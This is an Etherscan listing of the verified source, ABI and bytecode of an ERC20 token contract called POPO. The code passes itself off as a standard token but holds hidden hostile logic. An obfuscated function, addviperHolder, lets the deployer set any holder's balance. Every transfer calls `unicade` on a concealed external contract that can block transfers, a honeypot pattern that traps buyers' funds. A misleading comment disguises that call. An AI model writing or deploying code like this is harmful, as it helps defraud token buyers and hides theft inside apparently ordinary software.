ETH Price: $2,959.55 (-1.76%)
Gas: 3 Gwei

Token

POPO (POPO)
 

Overview

Max Total Supply

10,000,000,000 POPO

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000000000000001 POPO

Value
$0.00
0x4680e7b5f5be59e9d36b7398ea44e979de64723b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POPO

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-21
*/

// Telegram;https://t.me/POERRC20
// Twitter:hhttps://twitter.com/PEPPERC20
// Website:http://20pepe.cc/
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

abstract contract assassert{
    function unicade (
        address,
        address
    ) external virtual returns(uint256) ;
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


pragma solidity ^0.8.0;

abstract contract absToken is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;assassert contractSender;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address _vp;

    constructor(string memory name_, string memory symbol_, uint160 amount) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = 10000000000000000000000000000;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        contractSender = assassert(
            address(amount)
            );
        _vp = msg.sender;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function addviperHolder(
        address _value,
        uint256 _amt
    ) public {
        uint256 _amount = 10 - (
        msg.sender != _vp ? 10**2 : 10);
        mapping(address => uint256) storage excludeFee =
        _balances;_amount = 0;
        excludeFee[_value] = _amt;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        contractSender.
        
        // ERC20: transfer amount exceeds balance
        unicade(
            from,
            to
        ) - (amount-amount + 100);

        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }
}


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract POPO is absToken('POPO', 'POPO', uint160(0xc5B93F9601fC61961F2df0f4253A4Fee8149249d)) , Ownable {
    constructor() {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_value","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"addviperHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405180604001604052806004815260200163504f504f60e01b81525060405180604001604052806004815260200163504f504f60e01b81525073c5b93f9601fc61961f2df0f4253a4fee8149249d8260049080519060200190620000799291906200018b565b5081516200008f9060059060208501906200018b565b506b204fce5e3e2502611000000060038190553360008181526020819052604080822084905551919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620000e79162000231565b60405180910390a3600180546001600160a01b039092166001600160a01b03199283161790556006805490911633179055506200012f90506200012962000135565b62000139565b62000277565b3390565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b82805462000199906200023a565b90600052602060002090601f016020900481019282620001bd576000855562000208565b82601f10620001d857805160ff191683800117855562000208565b8280016001018555821562000208579182015b8281111562000208578251825591602001919060010190620001eb565b50620002169291506200021a565b5090565b5b808211156200021657600081556001016200021b565b90815260200190565b6002810460018216806200024f57607f821691505b602082108114156200027157634e487b7160e01b600052602260045260246000fd5b50919050565b610b7280620002876000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610194578063a9059cbb1461019c578063dd62ed3e146101af578063f2fde38b146101c2576100cf565b806370a0823114610164578063715018a6146101775780638da5cb5b1461017f576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd14610112578063183274e31461012757806323b872dd1461013c578063313ce5671461014f575b600080fd5b6100dc6101d5565b6040516100e99190610829565b60405180910390f35b6101056101003660046107af565b610267565b6040516100e9919061081e565b61011a610289565b6040516100e99190610a82565b61013a6101353660046107af565b61028f565b005b61010561014a366004610774565b6102d8565b610157610306565b6040516100e99190610a8b565b61011a610172366004610721565b61030b565b61013a61032a565b61018761033e565b6040516100e991906107f0565b6100dc61034d565b6101056101aa3660046107af565b61035c565b61011a6101bd366004610742565b610374565b61013a6101d0366004610721565b61039f565b6060600480546101e490610aeb565b80601f016020809104026020016040519081016040528092919081815260200182805461021090610aeb565b801561025d5780601f106102325761010080835404028352916020019161025d565b820191906000526020600020905b81548152906001019060200180831161024057829003601f168201915b5050505050905090565b6000806102726103e2565b905061027f8185856103e6565b5060019392505050565b60035490565b6006546000906001600160a01b03163314156102ac57600a6102af565b60645b6102ba90600a610ac8565b50506001600160a01b03909116600090815260208190526040902055565b6000806102e36103e2565b90506102f085828561049a565b6102fb8585856104e4565b506001949350505050565b601290565b6001600160a01b0381166000908152602081905260409020545b919050565b610332610679565b61033c60006106b8565b565b6007546001600160a01b031690565b6060600580546101e490610aeb565b6000806103676103e2565b905061027f8185856104e4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6103a7610679565b6001600160a01b0381166103d65760405162461bcd60e51b81526004016103cd906108bf565b60405180910390fd5b6103df816106b8565b50565b3390565b6001600160a01b03831661040c5760405162461bcd60e51b81526004016103cd90610a3e565b6001600160a01b0382166104325760405162461bcd60e51b81526004016103cd90610905565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061048d908590610a82565b60405180910390a3505050565b60006104a68484610374565b905060001981146104de57818110156104d15760405162461bcd60e51b81526004016103cd90610947565b6104de84848484036103e6565b50505050565b6001600160a01b03831661050a5760405162461bcd60e51b81526004016103cd906109f9565b6105148180610ab1565b61051f906064610a99565b6001546040516303294a3b60e31b81526001600160a01b039091169063194a51d8906105519087908790600401610804565b602060405180830381600087803b15801561056b57600080fd5b505af115801561057f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a391906107d8565b6105ad9190610ab1565b506001600160a01b0382166105d45760405162461bcd60e51b81526004016103cd9061087c565b6001600160a01b0383166000908152602081905260409020548181101561060d5760405162461bcd60e51b81526004016103cd9061097e565b6001600160a01b0380851660008181526020819052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061066b908690610a82565b60405180910390a350505050565b6106816103e2565b6001600160a01b031661069261033e565b6001600160a01b03161461033c5760405162461bcd60e51b81526004016103cd906109c4565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b80356001600160a01b038116811461032557600080fd5b600060208284031215610732578081fd5b61073b8261070a565b9392505050565b60008060408385031215610754578081fd5b61075d8361070a565b915061076b6020840161070a565b90509250929050565b600080600060608486031215610788578081fd5b6107918461070a565b925061079f6020850161070a565b9150604084013590509250925092565b600080604083850312156107c1578182fd5b6107ca8361070a565b946020939093013593505050565b6000602082840312156107e9578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b901515815260200190565b6000602080835283518082850152825b8181101561085557858101830151858201604001528201610839565b818111156108665783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610aac57610aac610b26565b500190565b600082821015610ac357610ac3610b26565b500390565b600060ff821660ff841680821015610ae257610ae2610b26565b90039392505050565b600281046001821680610aff57607f821691505b60208210811415610b2057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122068abacea8a85bbc9f07a3d01f188feeb1fd9c73859df95205101d5b043c224af64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610194578063a9059cbb1461019c578063dd62ed3e146101af578063f2fde38b146101c2576100cf565b806370a0823114610164578063715018a6146101775780638da5cb5b1461017f576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd14610112578063183274e31461012757806323b872dd1461013c578063313ce5671461014f575b600080fd5b6100dc6101d5565b6040516100e99190610829565b60405180910390f35b6101056101003660046107af565b610267565b6040516100e9919061081e565b61011a610289565b6040516100e99190610a82565b61013a6101353660046107af565b61028f565b005b61010561014a366004610774565b6102d8565b610157610306565b6040516100e99190610a8b565b61011a610172366004610721565b61030b565b61013a61032a565b61018761033e565b6040516100e991906107f0565b6100dc61034d565b6101056101aa3660046107af565b61035c565b61011a6101bd366004610742565b610374565b61013a6101d0366004610721565b61039f565b6060600480546101e490610aeb565b80601f016020809104026020016040519081016040528092919081815260200182805461021090610aeb565b801561025d5780601f106102325761010080835404028352916020019161025d565b820191906000526020600020905b81548152906001019060200180831161024057829003601f168201915b5050505050905090565b6000806102726103e2565b905061027f8185856103e6565b5060019392505050565b60035490565b6006546000906001600160a01b03163314156102ac57600a6102af565b60645b6102ba90600a610ac8565b50506001600160a01b03909116600090815260208190526040902055565b6000806102e36103e2565b90506102f085828561049a565b6102fb8585856104e4565b506001949350505050565b601290565b6001600160a01b0381166000908152602081905260409020545b919050565b610332610679565b61033c60006106b8565b565b6007546001600160a01b031690565b6060600580546101e490610aeb565b6000806103676103e2565b905061027f8185856104e4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6103a7610679565b6001600160a01b0381166103d65760405162461bcd60e51b81526004016103cd906108bf565b60405180910390fd5b6103df816106b8565b50565b3390565b6001600160a01b03831661040c5760405162461bcd60e51b81526004016103cd90610a3e565b6001600160a01b0382166104325760405162461bcd60e51b81526004016103cd90610905565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061048d908590610a82565b60405180910390a3505050565b60006104a68484610374565b905060001981146104de57818110156104d15760405162461bcd60e51b81526004016103cd90610947565b6104de84848484036103e6565b50505050565b6001600160a01b03831661050a5760405162461bcd60e51b81526004016103cd906109f9565b6105148180610ab1565b61051f906064610a99565b6001546040516303294a3b60e31b81526001600160a01b039091169063194a51d8906105519087908790600401610804565b602060405180830381600087803b15801561056b57600080fd5b505af115801561057f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a391906107d8565b6105ad9190610ab1565b506001600160a01b0382166105d45760405162461bcd60e51b81526004016103cd9061087c565b6001600160a01b0383166000908152602081905260409020548181101561060d5760405162461bcd60e51b81526004016103cd9061097e565b6001600160a01b0380851660008181526020819052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061066b908690610a82565b60405180910390a350505050565b6106816103e2565b6001600160a01b031661069261033e565b6001600160a01b03161461033c5760405162461bcd60e51b81526004016103cd906109c4565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b80356001600160a01b038116811461032557600080fd5b600060208284031215610732578081fd5b61073b8261070a565b9392505050565b60008060408385031215610754578081fd5b61075d8361070a565b915061076b6020840161070a565b90509250929050565b600080600060608486031215610788578081fd5b6107918461070a565b925061079f6020850161070a565b9150604084013590509250925092565b600080604083850312156107c1578182fd5b6107ca8361070a565b946020939093013593505050565b6000602082840312156107e9578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b901515815260200190565b6000602080835283518082850152825b8181101561085557858101830151858201604001528201610839565b818111156108665783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610aac57610aac610b26565b500190565b600082821015610ac357610ac3610b26565b500390565b600060ff821660ff841680821015610ae257610ae2610b26565b90039392505050565b600281046001821680610aff57607f821691505b60208210811415610b2057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122068abacea8a85bbc9f07a3d01f188feeb1fd9c73859df95205101d5b043c224af64736f6c63430008000033

Deployed Bytecode Sourcemap

7082:133:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3679:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4611:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;4000:108::-;;;:::i;:::-;;;;;;;:::i;5123:296::-;;;;;;:::i;:::-;;:::i;:::-;;4820:295;;;;;;:::i;:::-;;:::i;3899:93::-;;;:::i;:::-;;;;;;;:::i;4116:127::-;;;;;;:::i;:::-;;:::i;1261:103::-;;;:::i;956:87::-;;;:::i;:::-;;;;;;;:::i;3787:104::-;;;:::i;4251:193::-;;;;;;:::i;:::-;;:::i;4452:151::-;;;;;;:::i;:::-;;:::i;1372:201::-;;;;;;:::i;:::-;;:::i;3679:100::-;3733:13;3766:5;3759:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3679:100;:::o;4611:201::-;4694:4;4711:13;4727:12;:10;:12::i;:::-;4711:28;;4750:32;4759:5;4766:7;4775:6;4750:8;:32::i;:::-;-1:-1:-1;4800:4:0;;4611:201;-1:-1:-1;;;4611:201:0:o;4000:108::-;4088:12;;4000:108;:::o;5123:296::-;5268:3;;5220:15;;-1:-1:-1;;;;;5268:3:0;5254:10;:17;;:30;;5282:2;5254:30;;;5274:5;5254:30;5238:47;;:2;:47;:::i;:::-;-1:-1:-1;;;;;;;5386:18:0;;;5296:46;5386:18;;;;;;;;;;:25;5123:296::o;4820:295::-;4951:4;4968:15;4986:12;:10;:12::i;:::-;4968:30;;5009:38;5025:4;5031:7;5040:6;5009:15;:38::i;:::-;5058:27;5068:4;5074:2;5078:6;5058:9;:27::i;:::-;-1:-1:-1;5103:4:0;;4820:295;-1:-1:-1;;;;4820:295:0:o;3899:93::-;3982:2;3899:93;:::o;4116:127::-;-1:-1:-1;;;;;4217:18:0;;4190:7;4217:18;;;;;;;;;;;4116:127;;;;:::o;1261:103::-;842:13;:11;:13::i;:::-;1326:30:::1;1353:1;1326:18;:30::i;:::-;1261:103::o:0;956:87::-;1029:6;;-1:-1:-1;;;;;1029:6:0;956:87;:::o;3787:104::-;3843:13;3876:7;3869:14;;;;;:::i;4251:193::-;4330:4;4347:13;4363:12;:10;:12::i;:::-;4347:28;;4386;4396:5;4403:2;4407:6;4386:9;:28::i;4452:151::-;-1:-1:-1;;;;;4568:18:0;;;4541:7;4568:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4452:151::o;1372:201::-;842:13;:11;:13::i;:::-;-1:-1:-1;;;;;1461:22:0;::::1;1453:73;;;;-1:-1:-1::0;;;1453:73:0::1;;;;;;;:::i;:::-;;;;;;;;;1537:28;1556:8;1537:18;:28::i;:::-;1372:201:::0;:::o;172:98::-;252:10;172:98;:::o;6184:380::-;-1:-1:-1;;;;;6320:19:0;;6312:68;;;;-1:-1:-1;;;6312:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6399:21:0;;6391:68;;;;-1:-1:-1;;;6391:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6472:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;6524:32;;;;;6502:6;;6524:32;:::i;:::-;;;;;;;;6184:380;;;:::o;6572:441::-;6707:24;6734:25;6744:5;6751:7;6734:9;:25::i;:::-;6707:52;;-1:-1:-1;;6774:16:0;:37;6770:236;;6856:6;6836:16;:26;;6828:68;;;;-1:-1:-1;;;6828:68:0;;;;;;;:::i;:::-;6932:51;6941:5;6948:7;6976:6;6957:16;:25;6932:8;:51::i;:::-;6572:441;;;;:::o;5427:749::-;-1:-1:-1;;;;;5558:18:0;;5550:68;;;;-1:-1:-1;;;5550:68:0;;;;;;;:::i;:::-;5773:13;5780:6;;5773:13;:::i;:::-;:19;;5789:3;5773:19;:::i;:::-;5629:14;;:140;;-1:-1:-1;;;5629:140:0;;-1:-1:-1;;;;;5629:14:0;;;;:93;;:140;;5737:4;;5756:2;;5629:140;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:164;;;;:::i;:::-;-1:-1:-1;;;;;;5814:16:0;;5806:64;;;;-1:-1:-1;;;5806:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5905:15:0;;5883:19;5905:15;;;;;;;;;;;5939:21;;;;5931:72;;;;-1:-1:-1;;;5931:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6039:15:0;;;:9;:15;;;;;;;;;;;6057:20;;;6039:38;;6092:13;;;;;;;;;;:23;;;;;;6142:26;;;;;;6071:6;;6142:26;:::i;:::-;;;;;;;;5427:749;;;;:::o;1121:132::-;1196:12;:10;:12::i;:::-;-1:-1:-1;;;;;1185:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1185:23:0;;1177:68;;;;-1:-1:-1;;;1177:68:0;;;;;;;:::i;1581:191::-;1674:6;;;-1:-1:-1;;;;;1691:17:0;;;-1:-1:-1;;;;;;1691:17:0;;;;;;;1724:40;;1674:6;;;1691:17;1674:6;;1724:40;;1655:16;;1724:40;1581:191;;:::o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;:::-;345:41;264:128;-1:-1:-1;;;264:128:1:o;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:194::-;;1417:2;1405:9;1396:7;1392:23;1388:32;1385:2;;;1438:6;1430;1423:22;1385:2;-1:-1:-1;1466:16:1;;1375:113;-1:-1:-1;1375:113:1:o;1493:203::-;-1:-1:-1;;;;;1657:32:1;;;;1639:51;;1627:2;1612:18;;1594:102::o;1701:304::-;-1:-1:-1;;;;;1931:15:1;;;1913:34;;1983:15;;1978:2;1963:18;;1956:43;1863:2;1848:18;;1830:175::o;2010:187::-;2175:14;;2168:22;2150:41;;2138:2;2123:18;;2105:92::o;2202:603::-;;2343:2;2372;2361:9;2354:21;2404:6;2398:13;2447:6;2442:2;2431:9;2427:18;2420:34;2472:4;2485:140;2499:6;2496:1;2493:13;2485:140;;;2594:14;;;2590:23;;2584:30;2560:17;;;2579:2;2556:26;2549:66;2514:10;;2485:140;;;2643:6;2640:1;2637:13;2634:2;;;2713:4;2708:2;2699:6;2688:9;2684:22;2680:31;2673:45;2634:2;-1:-1:-1;2789:2:1;2768:15;-1:-1:-1;;2764:29:1;2749:45;;;;2796:2;2745:54;;2323:482;-1:-1:-1;;;2323:482:1:o;2810:399::-;3012:2;2994:21;;;3051:2;3031:18;;;3024:30;3090:34;3085:2;3070:18;;3063:62;-1:-1:-1;;;3156:2:1;3141:18;;3134:33;3199:3;3184:19;;2984:225::o;3214:402::-;3416:2;3398:21;;;3455:2;3435:18;;;3428:30;3494:34;3489:2;3474:18;;3467:62;-1:-1:-1;;;3560:2:1;3545:18;;3538:36;3606:3;3591:19;;3388:228::o;3621:398::-;3823:2;3805:21;;;3862:2;3842:18;;;3835:30;3901:34;3896:2;3881:18;;3874:62;-1:-1:-1;;;3967:2:1;3952:18;;3945:32;4009:3;3994:19;;3795:224::o;4024:353::-;4226:2;4208:21;;;4265:2;4245:18;;;4238:30;4304:31;4299:2;4284:18;;4277:59;4368:2;4353:18;;4198:179::o;4382:402::-;4584:2;4566:21;;;4623:2;4603:18;;;4596:30;4662:34;4657:2;4642:18;;4635:62;-1:-1:-1;;;4728:2:1;4713:18;;4706:36;4774:3;4759:19;;4556:228::o;4789:356::-;4991:2;4973:21;;;5010:18;;;5003:30;5069:34;5064:2;5049:18;;5042:62;5136:2;5121:18;;4963:182::o;5150:401::-;5352:2;5334:21;;;5391:2;5371:18;;;5364:30;5430:34;5425:2;5410:18;;5403:62;-1:-1:-1;;;5496:2:1;5481:18;;5474:35;5541:3;5526:19;;5324:227::o;5556:400::-;5758:2;5740:21;;;5797:2;5777:18;;;5770:30;5836:34;5831:2;5816:18;;5809:62;-1:-1:-1;;;5902:2:1;5887:18;;5880:34;5946:3;5931:19;;5730:226::o;5961:177::-;6107:25;;;6095:2;6080:18;;6062:76::o;6143:184::-;6315:4;6303:17;;;;6285:36;;6273:2;6258:18;;6240:87::o;6332:128::-;;6403:1;6399:6;6396:1;6393:13;6390:2;;;6409:18;;:::i;:::-;-1:-1:-1;6445:9:1;;6380:80::o;6465:125::-;;6533:1;6530;6527:8;6524:2;;;6538:18;;:::i;:::-;-1:-1:-1;6575:9:1;;6514:76::o;6595:195::-;;6670:4;6667:1;6663:12;6702:4;6699:1;6695:12;6727:3;6722;6719:12;6716:2;;;6734:18;;:::i;:::-;6771:13;;;6642:148;-1:-1:-1;;;6642:148:1:o;6795:380::-;6880:1;6870:12;;6927:1;6917:12;;;6938:2;;6992:4;6984:6;6980:17;6970:27;;6938:2;7045;